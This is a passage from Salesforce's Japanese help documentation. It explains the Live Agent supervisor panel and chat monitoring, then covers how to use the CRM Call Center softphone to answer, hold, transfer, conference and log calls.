使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent スーパーバイザパネルは、部署のチャットボタンとチャットエージェ
ントに関する情報を一元的に検索できる場所です。スーパーバイザパネルから、
エージェントが顧客とチャットするときのエージェントのチャット活動の監視
や、特定のチャットボタンでの顧客トラフィックの表示をすべてリアルタイム
で行うことができます。スーパーバイザパネルは Salesforce コンソールに配置さ
れているため、アプリケーションから切り替えなくても簡単にアクセスできま
す。
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スーパーバイザパネルへのアクセス

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールで
Live Agent スーパーバイザ
パネルを使用する
• ユーザプロファイルま

たは権限セットでの
Live Agent の [スーパー
バイザ] タブへのアク
セス (Salesforce コン
ソールアプリケーショ
ンに含まれる)

Salesforce コンソールからスーパーバイザパネルにタイミングよくアクセスして、
エージェントのチャット活動を簡単に監視できます。
1. Salesforce コンソールのスーパーバイザパネルにアクセスするには、コンソー

ルのナビゲーションリストで [Live Agent スーパーバイザ] を選択します。
メインコンソールウィンドウにスーパーバイザパネルが表示され、Salesforce

組織のチャットボタンおよびエージェントに関するリアルタイム情報にアク
セスできるようになります。
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エージェント状況リスト

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

スーパーバイザパネルにあるエージェント状況リストを使用すると、エージェ
ントのチャット活動に関する情報にリアルタイムでアクセスできます。

説明エージェントの
詳細

エージェントの名前。エージェント名

メモ: 名前の横に赤いフラグが表示された場合は、エー
ジェントが支援を要求しています。チャット詳細モ
ジュール (右端) から応答します。

エージェントの Live Agent 状況。状況

エージェントの状況を変更するために実行できるアクショ
ン。

アクション

エージェントが参加しているチャット数。処理中のチャッ
ト数

エージェントに現在割り当てられている待機中のチャット要
求の数。

割り当て済みの
要求数

エージェントが Live Agent にログインしている時間。ログイン以降の
経過時間

エージェントが最後にチャット要求を受け入れからの時間。最後の承諾以降
の経過時間

支援フラグでエージェントが送信した非公開メッセージ。スーパーバイザ
へのメッセージ
(省略可能)

各エージェントの名前を展開すると、エージェントがチャットしている顧客の詳細が表示されます。

説明顧客の詳細

顧客の名前 (利用可能な場合)。訪問者名

顧客のデバイスの IP アドレス。IP

顧客のネットワーク (利用可能な場合)。ネットワーク

顧客がチャットウィンドウに接続するために使用しているインターネットブラウザ
のタイプ。

ブラウザ

顧客がチャットしている市区郡。市区郡

顧客がチャットしている国。国
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説明顧客の詳細

顧客がエージェントとのチャットに参加している時間。所要時間

顧客とエージェントのチャットを表示するために実行できるアクション。アクション

キュー状況リスト

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

スーパーバイザパネルにあるキュー状況リストを使用すると、組織のチャット
ボタンとキューに関するリアルタイムの情報にアクセスできます。

説明キューの詳細

チャットボタンの名前。ボタン名

チャットボタンの一意の Salesforce ID。ID

エージェントへの割り当てを待機しているチャットの数。キュー長

顧客のチャットがエージェントに接続されるまでの最長の待
機時間。

最長待機時間
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エージェントのチャットの監視

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールで
Live Agent スーパーバイザ
パネルを使用する
• ユーザプロファイルま

たは権限セットでの
Live Agent の [スーパー
バイザ] タブへのアク
セス (Salesforce コン
ソールアプリケーショ
ンに含まれる)

エージェントのチャット
を表示する
• Live Agent 設定の

「エージェントプレ
ビューの有効化」

エージェントに示唆メッ
セージを送信する
• Live Agent 設定の「示

唆メッセージの有効
化」

顧客対応中のエージェントのチャットは、スーパーバイザパネルから表示しま
す。エージェントのパフォーマンスを監視して、エージェントが顧客に対応し
ているときにフィードバックや支援をリアルタイムで提供できます。
1. [エージェント状況] リストで をクリックして、チャットを表示するエー

ジェントの情報を展開します。エージェントが支援を要求した場合は、エー
ジェント名の横に赤いフラグが表示され、非公開メッセージが右端に表示さ
れます (エージェントが入力した場合)。

2. チャットを表示するには、監視するチャットの [アクション] 列で [表示] をク
リックします。
[エージェント状況] リストにチャットモニタが開きます。

3. エージェントが顧客とチャット中に非公開メッセージをエージェントに送信
するには、メッセージ項目にメッセージを入力して[Enter]キーを押します。
メッセージは、エージェントにはチャットログに表示されますが、顧客には
表示されません。

エージェントのチャットの監視が完了したら、 をもう一度クリックして、
チャットモニタを折りたたみます。
支援の提供後にフラグを削除するには、[フラグを無効化] をクリックします。
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エージェントへのスキルの割り当て

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

スキルを割り当てる
• 「Live Agent のスキル

をユーザに割り当て
る」

チームの専門知識の充実に伴ってエージェントにスキルを割り当てます。
1. [設定] から、[クイック検索] ボックスに「スキル」と入力し、[スキル] を選

択します。
2. 割り当てるスキルの名前をクリックします。
3. [編集] をクリックします。
4. プロファイル (推奨) またはこのスキルを持つ個人ユーザのいずれかを選択し

ます。
5. [保存] をクリックします。
[スキル] ページへのアクセス権がない場合は、この権限の有効化を Salesforce シス
テム管理者に依頼してください。システム管理者のみがスキルを作成できます。
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Live Agent セッションのレポート作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

Live Agent チャットセッションに関するレポートを作成して、エージェントの
チャット活動に関する洞察を得ます。
Live Agent チャットセッションのカスタムレポートタイプを作成し、それを使用
し、エージェントのセッションでレポートビルダーを使用してレポートを実行
できます。このようなLive Agentセッションレポートでは、エージェントのチャッ
ト活動を把握できます。たとえば、顧客のすべてのチャット要求をエージェン
トチームで処理できるかどうかを判断できます。
1. Live Agentセッションを主オブジェクトとして使用して、カスタムレポートタ

イプを作成します。
2. レポートビルダーを使用して、新しい Live Agent レポートを作成します。
3. 重要な情報の列を含めるように、レポートをカスタマイズします。
4. レポートを保存または実行します。

顧客への電話

Salesforce CRM Call Center システム要件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce CRM Call Centerを利用するには、Salesforceユーザの各コンピュータに軽量
CTI (コンピュータテレフォニーインテグレーション) アダプタをインストールす
る必要があります。アダプタの最小システム要件は、次のとおりです。
• CTI バージョン 4.0 以上のアダプタ:

– Microsoft® Internet Explorer® 8、Mozilla® Firefox® 3.5、Apple® Safari® 4、Google Chrome™

10.0 (Internet Explorer 11 はサポートされていません)

– Microsoft Windows® XP (Microsoft .NET framework を含む)

• 以前のバージョンの CTI を使用したアダプタ:

– Internet Explorer 7 または 8、Firefox 3.5 または 3.6 (Safari、Chrome、および Internet

Explorer 11 はサポートされていません)
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– Windows 7 (32 ビット)、Internet Explorer 8 (32 ビット)、Firefox 3.5 または 3.6

– Windows 7 (64 ビット)、Internet Explorer 8 (64 ビット)、Firefox 3.5 または 3.6

– 256 MB の RAM (推奨: 512 MB)

– 最低 20 MB のハードディスク空き容量
– Intel® Pentium® II プロセッサ、500 MHz 以上
– Windows XP

メモ:  CTI Toolkit バージョン 4.03 で作成された CTI アダプタを使用している場合、Firefox または Chrome ブラ
ウザを使用すると、ポップアップウィンドウが表示されます。このポップアップウィンドウは、Salesforce

CRM Call Center への接続を維持するために、ユーザのマシンに表示されている必要があります。

関連トピック:

Salesforce コールセンター
ソフトフォンの使用

ソフトフォンの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソフトフォンは、カスタマイズ可能な通話管理ツールで、コールセンターに割
り当てられていて、CTI アダプタがインストールされているマシンで作業してい
るユーザに表示されます。ソフトフォンの機能、ユーザインターフェース、表
示位置は、ソフトフォンの開発に使用した CTI Toolkit のバージョンによって決ま
ります。次のトピックを参照してください。
• CTI 1.0 および 2.0 ソフトフォンについて (ページ 2672)

• CTI 3.0 および 4.0 ソフトフォン (ページ 2673)

関連トピック:

Salesforce コールセンター
Salesforce CTI Toolkit

Salesforce コンソール
ソフトフォンの使用
Salesforce Classic の Salesforce コンソールでのソフトフォンの使用
CTI アダプタのバージョンのチェック
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CTI 1.0 および 2.0 ソフトフォンについて

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソフトフォンは、カスタマイズ可能な通話管理ツールで、コールセンターに割
り当てられていて、CTI アダプタがインストールされているマシンで作業してい
るユーザに表示されます。バージョン 1.0 または 2.0 の CTI Toolkit で開発されたソ
フトフォンは、すべての Salesforce ページのサイドバーに表示されます。システ
ム管理者および開発者は CTI 1.0 または 2.0 ソフトフォンをカスタマイズでき、通
常、次のコンポーネントが含まれています。
コールセンターの状態エリア

通話を受信する準備ができているかどうかを指定するドロップダウンリスト
が表示されます。「コールセンターの状態の変更」 (ページ2683)を参照してく
ださい。

電話回線ヘッダー
電話回線の状態が表示されます。状態アイコンでは、色を変化させたり、点
滅 ( ) したり、テキストの説明を表示したりします。ユーザは回線名 (回線 1 など) をクリックして、回線
のダイアルパッドと通話情報エリアを表示または非表示にできます。

通話情報エリア
顧客が発信した電話番号、通話時間、通話に関連付けられている任意のレコードなど、通話に関するデー
タが表示されます。

通話ボタンエリア
発信する、電話を切る、通話者を保留にする、通話を転送する、会議を開始する、通話中に別の通話を開
始するなどの通話コマンドを実行できるボタンが表示されます。「ソフトフォンの使用」 (ページ2681)を参
照してください。

現在の通話ログエリア
通話に関するログ情報が表示されます。デフォルトでは、[件名] 項目に通話の日時が表示されますが、
ユーザによる編集が可能です。[名前]項目では、関連する取引先責任者、リード、または個人取引先を指
定できます。また、[関連先]項目では、通話が終了した後でレコードを通話ログに追加で添付できます。
[コメント]テキストボックスには、通話に関する追加情報を入力できます。通話ログは活動レコードに保
存され、ソフトフォンの [最後の通話] エリアか、関連するレコードの [活動履歴] 関連リストから参照でき
ます。「ソフトフォンでの通話ログの作成」 (ページ 2676)を参照してください。

[最後の通話] エリア
最近完了した通話に関する保存済みのログが表示されます。ログの [件名] をクリックすると、詳細ペー
ジが表示されます。また、ログの [名前] または [関連先] リンクをクリックすると、関連するレコードが
表示されます。[編集] をクリックすると、通話ログが再度表示され、ソフトフォンで編集できます。

[今日の自分の通話一覧] レポート
前日に発信または受信したすべての通話に関するレポートが開きます。

ソフトフォンロゴ
各 CTI アダプタのカスタマイズ可能なロゴが表示されます。
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メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの概要
Salesforce コールセンター
Salesforce CTI Toolkit

Salesforce コンソール
ソフトフォンの使用

CTI 3.0 および 4.0 ソフトフォン

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソフトフォンは、カスタマイズ可能な通話管理ツールで、コールセンターに割
り当てられていて、CTI アダプタがインストールされているマシンで作業してい
るユーザに表示されます。バージョン 3.0 および 4.0 の CTI Toolkit で開発されたソ
フトフォンは、Salesforce コンソールのフッター、または各 Salesforce ページのサ
イドバーに表示されます。システム管理者および開発者は CTI 3.0 および 4.0 ソフ
トフォンをカスタマイズできますが、通常、次のコンポーネントが含まれます。
コールセンターの状態エリア

通話を受信する準備ができているかどうかを指定するドロップダウンリスト
が表示されます。「コールセンターの状態の変更」 (ページ2683)を参照してく
ださい。

電話回線ヘッダー
電話回線の状態が表示されます。状態アイコンでは、色を変化させたり、点滅 ( ) したり、テキストの説
明を表示したりします。ユーザは回線名 (回線 1 など) をクリックして、回線のダイアルパッドと通話情報
エリアを表示または非表示にできます。

通話情報エリア
顧客が発信した電話番号、通話時間、通話に関連付けられている任意のレコードなど、通話に関するデー
タが表示されます。

通話ボタンエリア
発信する、電話を切る、通話者を保留にする、通話を転送する、会議を開始する、通話中に別の通話を開
始するなどの通話コマンドを実行できるボタンが表示されます。「ソフトフォンの使用」 (ページ2681)を参
照してください。

[今日の自分の通話一覧] レポート
前日に発信または受信したすべての通話に関するレポートが開きます。

ソフトフォンロゴ
各 CTI アダプタのカスタマイズ可能なロゴが表示されます。
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メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの概要
Salesforce コールセンター
Salesforce CTI Toolkit

Salesforce コンソール
ソフトフォンの使用

個人のソフトフォン設定の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

個人のソフトフォン設定
を編集する
• 「コールセンターのメ

ンバー」

Salesforce 内の個人のソフトフォン設定は変更できます。設定を変更するには、
個人設定から [クイック検索]ボックスに「ソフトフォン」と入力し、[私のソフ
トフォン設定] を選択します。
使用可能な設定は次のとおりです。

説明設定

Salesforce で保存したログイン情報を使
用して自動的にソフトフォンにログイ
ンしたい場合に、このオプションを選
択します。

Salesforce にログインするとき、コー
ルセンターに自動ログインする

着信に一致するレコードが 1 件だけ
だった場合のそのレコードの表示方法
として、次のオプションのうち 1 つを
選択します。

着信検索でレコードが 1 件だけ見つ
かった場合

• [そのレコードを自動的に開く]。こ
のオプションでは、レコードは、
これまで表示されていた内容を上
書きして Salesforce のメインウィン
ドウに表示されます。これまでの
レコードの保存していない変更は
すべて失われます。

• [そのレコードを自動的に開かな
い]。このオプションでは、一致し
たレコードは表示されません。レ
コードを参照するには、ソフトフォ
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説明設定

ンでそのレコードのリンクをクリックします。

関連トピック:

Salesforce コールセンター
ソフトフォンの使用
ソフトフォンへのログイン

ソフトフォンを使用した電話応答

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソフトフォンで電話に応
答する
• 「コールセンターのメ

ンバー」

ソフトフォンへのログイン中は、次の場合に電話を受信できます。
• キューから発信され、コールセンターの状態が [通話準備完了] に設定されて

いる場合
• 自分の内線番号に直接発信され、自分が通話中でない場合
ソフトフォンの電話回線名の横にある点滅する赤いボタンと、「着信中」、「転
送の着信」、または「会議の着信」の文字で、着信があることがわかります。
通話について情報がある場合は [回答] ボタンの上に表示され、通常は発信者の
電話番号と、発信者がダイアルした電話番号が表示されます。発信者の電話番
号が Salesforce の既存のレコードと一致した場合は、そのレコードへのリンクも
表示されます。同様に、担当者に電話がつながる前にコールセンターが発信者
に取引先番号または他のデータの入力を促した場合には、ソフトフォンによっ
てその情報を含むレコードが検索され、一致する結果へのリンクが自動的に表
示されます。
電話の着信に応答する手順は、次のとおりです。
• ソフトフォンで [回答] をクリックします。
• 電話を受けるには受話器を使用します。
電話に応答すると、[通話時間] の時計が動き始め、コールセンターの状態が自
動的に [通話中] に設定されます。応答しない場合は、システムによってその通話が別のユーザに転送され、自
分のコールセンターの状態が自動的に [通話準備未完了] に設定されます。
電話への応答後に実行できる操作は次のとおりです。
• コメントを記録し、Salesforce レコードとその通話を関連付ける
• 通話者を保留にする
• 別のコールセンターユーザに通話を転送する
• 別のコールセンターユーザを会議に参加させる
• 通話を終了する
ソフトフォンが複数回線をサポートし、回線 1 が通話中に回線 2 に出た場合、回線 1 は自動的に話し中になり
ます。
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メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

ヒント: 画面ポップは、着信電話の番号が既存のSalesforceレコードの電話番号と一致するときに表示され
るページです。次の表に、画面ポップが表示される条件を示します (画面ポップは、コールセンターの状
態が [通話準備完了] に設定されている場合にのみ表示されます)。

表示しない表示する画面ポップオン

編集ページ

詳細ページ

インライン編集を使用中の場合の詳細ページ

Salesforce コンソールの編集ページと詳細ページ

発信電話

関連トピック:

ソフトフォンの使用
コールセンターの状態の変更

ソフトフォンでの通話ログの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話ログを作成する
• 「コールセンターのメ

ンバー」

ソフトフォンを使用して外線通話を発信または受信すると、自動的に通話ログ
活動レコードが作成されます。これらの通話ログは、通話に関連付けられてい
る任意の Salesforce レコードの [活動履歴] 関連リストで参照するか、レポートを
実行することで参照できます。自動的に作成された通話ログレコードには、次
の内容を表す値が含まれています。
• その通話を受信または発信したコールセンターユーザ
• その通話を発信したか、コールセンターユーザから通話を受信した取引先責

任者の電話番号
• 通話発信日時
• 通話時間 (秒単位)

• 着信通話か発信通話か
• 通話に対するコールセンターシステムの固有識別子
通話中に、通話ログに対して最大 2 件のレコードの関連付け、件名の編集、お
よびコメントの追加ができます。手順は、次のとおりです。
1. 通話ログに最大 2 件のレコードを関連付ける手順は、次のとおりです。
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• 取引先責任者、リード、または個人取引先を参照または作成すると、通話ログ内に [名前] ドロップダ
ウンリストが表示されます。このリストを使って、単一の取引先責任者、リード、または個人取引先レ
コードを通話に関連付けます。

• 任意の種別の Salesforce レコードを参照または作成すると、通話ログ内に [関連先] ドロップダウンリス
トが表示されます。このリストを使って、通話に関連付ける任意の種別の単一レコードを選択します。

メモ: カスタムオブジェクトレコードは、そのカスタムオブジェクトレコードが活動を追跡してい
る場合にのみ通話ログに関連付けられます。

手動で異なるレコードを選択しない限り、[名前] および [関連先] リストには、最後に参照したレコード
がデフォルトで表示されます。通話が完了すると、これらのリストで選択したレコードには、[活動履歴]

関連リスト中の通話ログが表示されます。これらのレコードには、通話が転送された場合は転送先の、会
議を行った場合は別の Salesforce CRM Call Center ユーザが表示されます。

2. [件名] および [コメント] 項目を、通話中に発生した情報をもとに編集します。
通話の終了後、通話ログは自動的に完了した ToDo として保存されます。完了したばかりの通話の通話ログに
は、ソフトフォンの [最後の N 通話] セクションを展開してすばやくアクセスできます。このリストには、最
近の通話が最大で 3 件表示され、最後の通話が最初に表示されます。
• 最近の通話ログを編集するには、その通話ログの [件名] 項目の横にある [編集] をクリックします。
• 保存済み通話ログを参照するには、その通話ログの [件名] をクリックします。
• 通話ログに関連付けられているレコードを参照するには、レコード名をクリックします。
前日に発信または受信したすべての通話のリストを参照するには、[今日の自分の通話一覧] をクリックしま
す。このリンクをクリックすると、[今日の自分の通話一覧] レポートが [レポート] タブに表示されます。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用
ソフトフォンを使用した通話のラップアップ
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ソフトフォンを使用した通話の保留

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を保留する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Center では、通話を保留して通話者に会話が聞こえないように
することができます。通話を保留するには、現在有効なソフトフォン回線で[保
留]をクリックします。通話者の待ち時間を示す [保留時間]の時計が動き始め、
回線のアイコン ( ) が黄色に点滅し始めます。
• 通話の転送の開始、第 2 の回線での発信、および会議通話の開始時には、通

話が自動的に保留されます。
• 会議中に [保留]をクリックすると、自分の回線は無音になりますが、残りの

会議参加者は互いに通話を継続できます。
通話を再開するには、[保留を解除する]をクリックします。保留を解除せずに通
話を終了したい場合は、[通話を終了する] をクリックします。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center 機能の
一部は、組織でのカスタマイズまたはソフトフォンが構築された CTI Toolkit

の状況によってはソフトフォンで使用できない場合があります。詳細につ
いては、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用

ソフトフォンを使用した通話の転送

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を転送する
• 「コールセンターのメ

ンバー」

別のコールセンターユーザまたは外線電話番号へ通話を転送する手順は、次の
とおりです。
1. 転送する通話に関連するSalesforceレコードを添付します。たとえば、その通

話にケースを作成していた場合、ケースを保存し、現在の通話ログの [関連
先]項目にそのケースが選択されていることを確認します。この操作を実行
することで、通話の転送先のユーザがソフトフォンでこのケースにアクセス
できます。

2. 転送するソフトフォン回線にある [転送]をクリックします。通話者と自分と
の回線はそのまま維持され、新規ダイアルパッドが有効になります。

3. ダイアルパッド、キーボード、またはコールセンターディレクトリを使用し
て、通話の転送先の電話番号を入力します。

4. [転送を開始する] をクリックします。目的の電話番号に発信中は、最初の通
話者は自動的に保留になります。ダイアルした電話番号が話中の場合はメッ
セージが表示され、再度発信するか、発信をキャンセルできます。

5. 最初の通話者を転送先の電話番号に転送する準備が整ったら、[転送を完了す
る]をクリックします。通話を転送しない場合は、[転送をキャンセルする]を
クリックします。
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通話を完了すると、通話者と自分の回線が切断され、状態は [通話準備完了] に戻ります。

関連トピック:

Salesforce コールセンター
ソフトフォンの使用
ソフトフォンを使用した通話のラップアップ
ソフトフォンでの通話ログの作成

ソフトフォンを使用した会議通話

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

会議通話を開始する
• 「コールセンターのメ

ンバー」

別のコールセンターユーザまたは外部電話番号と会議通話を開始する手順は、
次のとおりです。
1. 通話中に、現在有効なソフトフォン回線で [会議]をクリックします。通話者

が自動的に保留され、新規ダイアルパッドが有効になります。
2. ダイアルパッド、キーボード、または電話帳を使用して、会議に参加させた

い個人の電話番号を入力します。
3. [会議を開始する] をクリックします。目的の電話番号に発信中は、最初の通

話者は保留になったままです。ダイアルした電話番号が話中の場合はメッ
セージが表示され、再度発信するか、発信をキャンセルできます。

4. 第 2 の通話者につながり、会議の開始準備が整ったら、[会議を完了する] を
クリックします。第 2 の通話者が最初の電話回線に追加され、3 者間で自由
に通話できるようになります。第 2 の番号をダイアルした後に会議を終了す
る場合は、[会議をキャンセルする] をクリックして第 2 の通話者への接続を
切断し、最初の通話者との通話に戻ります。

メモ:

• 会議中に[保留]をクリックすると、自分の回線は無音になりますが、残
りの会議参加者は互いに通話を継続できます。

• 電話システムによっては、1 回線で会議に参加できる通話者の数が制限
される場合があります。詳細については、システム管理者に問い合わせ
てください。

関連トピック:

Salesforce コールセンター
ソフトフォンの使用
ソフトフォンを使用した通話の保留

2679

顧客への応答顧客のサポート



ソフトフォンを使用した通話のラップアップ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を終了する
• 「コールセンターのメ

ンバー」

通話の終了準備が整ったら、次の操作を実行します。
1. 関連する通話ログを更新します。たとえば、通話中にケースを作成したり、

取引先責任者を参照したりした場合は、これらがログ中の [関連先] の 1 つ
で選択されていることを確認します。また、[コメント]テキストボックスを
使用して、通話に関するメモを入力します。
通話ログは、内線通話の場合は作成されません。

2. 有効なソフトフォン回線で [通話を終了する]をクリックするか、受話器を使
用して電話を切ります。この操作によって通話が終了し、回線が解放されま
す。

3. ラップアップコードが有効でない場合は、コールセンターの状態が [通話準
備完了] に戻り、通話ログか自動的に保存されます。

4. ラップアップコードが有効な場合は、コールセンターの状態が [ラップアッ
プ] に設定され、ソフトフォンに理由コードのセットが表示されます。この
状態では、電話を受信できません。
a. 通話結果を最も良く表す理由コードを選択します。
b. 必要に応じて、通話ログに変更を加えます。
c. [完了] をクリックします。コールセンターの状態が [通話準備完了] に戻り、通話ログが自動的に保存さ

れます。

すべての保存済み通話ログは、ソフトフォンの [最後の N 通話] セクションからすばやく参照できます。これら
の通話ログは、関連リンクをクリックすることで、詳細をレビューできます。
• [件名] リンク (「2006/01/06 12:34 に通話」など) をクリックすると、通話ログ詳細ページが表示されます。
• どちらの [関連先] リンクをクリックしても、特定のレコードの詳細ページが表示されます。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

Salesforce コールセンター
ソフトフォンの使用
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ソフトフォンの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソフトフォンを表示およ
び使用する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Centerソフトフォンは、Salesforceウィンドウの左側のサイドバー、
または Salesforce コンソールのフッターに表示されます。ソフトフォンを使用し
て、次のことを実行できます。
• コールセンターへログインする
• コールセンターの状態を変更して、新規電話を受信する準備ができているか

どうかを示す
• 組み込みソフトフォンを使うか、取引先責任者、リード、活動、または取引

先に関連付けられている任意の電話番号の横にある アイコンをクリック
して、電話番号をダイアルする

• カスタムコールセンターディレクトリで電話番号を検索する
• 別のコールセンターユーザまたは外線番号からの電話に応答する
• 通話者を保留する
• 別のコールセンターユーザまたは外線番号との会議通話を開始する
• 別のコールセンターユーザまたは外線番号へ電話を転送する
• 自動通話ログへコメントを追加するか、Salesforce レコードを関連付けて、通

話に関する情報をすばやく記録する
• 個人の Salesforce CRM Call Centerの設定を編集して、ソフトフォンの動作のカス

タマイズをする
Salesforce CRM Call Center ユーザで、[コンソール] タブを使用している場合は、サイドバーを折りたためません。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

Salesforce コールセンター
Salesforce CRM Call Center システム要件
Salesforce Classic の Salesforce コンソールでのソフトフォンの使用
ソフトフォンを使用した通話のラップアップ

2681

顧客への応答顧客のサポート



ソフトフォンへのログイン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Call Center
へログインする
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Center では、最初に Salesforce にログインしてから、組織の電話
システムにログインする必要があります。電話システムへのログインは、次の
場合にサイドバーに表示されます。
• Salesforce のコールセンターに割り当てられている
• 適切な CTI アダプタがインストールされているコンピュータを使用している

(コンピュータのシステムトレイにある アイコンを探して、CTI アダプタが
インストールされていることを簡単に確認できます。システムトレイはディ
スプレイの右下隅にある時計の横に表示されます。)

電話システムへのログインが表示されない場合は、システム管理者に問い合わ
せてください。
組織で使用している電話システムによっては、ログイン時にユーザ ID、パスワー
ド、およびその他の認証情報を入力するように要求されることがあります。こ
れらの値を入力し、[ログイン]をクリックして電話システムへの接続を完了しま
す。
[ログイン] ボタンをクリックせずに電話システムへ自動的にログインする手順
は、次のとおりです。
1. 個人設定から、[クイック検索]ボックスに「ソフトフォン」と入力し、[私の

ソフトフォン設定] を選択します。
2. [Salesforce にログインするとき、コールセンターに自動ログインする]を選択します。電話システムに一

度ログインすると、Salesforce によってログイン情報が保持され、以降に Salesforce にログインすると自動的
に電話システムに接続されます。

メモ: Salesforce にログインしたまま電話システムから明示的にログアウトすると、以降の Salesforce セッ
ションでは自動ログインが無効になります。自動ログインを再度有効にするには、Salesforceからログアウ
トして、再度ログインします。

電話システムへのログイン後、コールセンターの状態が自動的に [通話準備未完了] に設定されます。電話の受
信を許可するには、コールセンターの状態を変更して、[通話準備完了] に設定する必要があります。

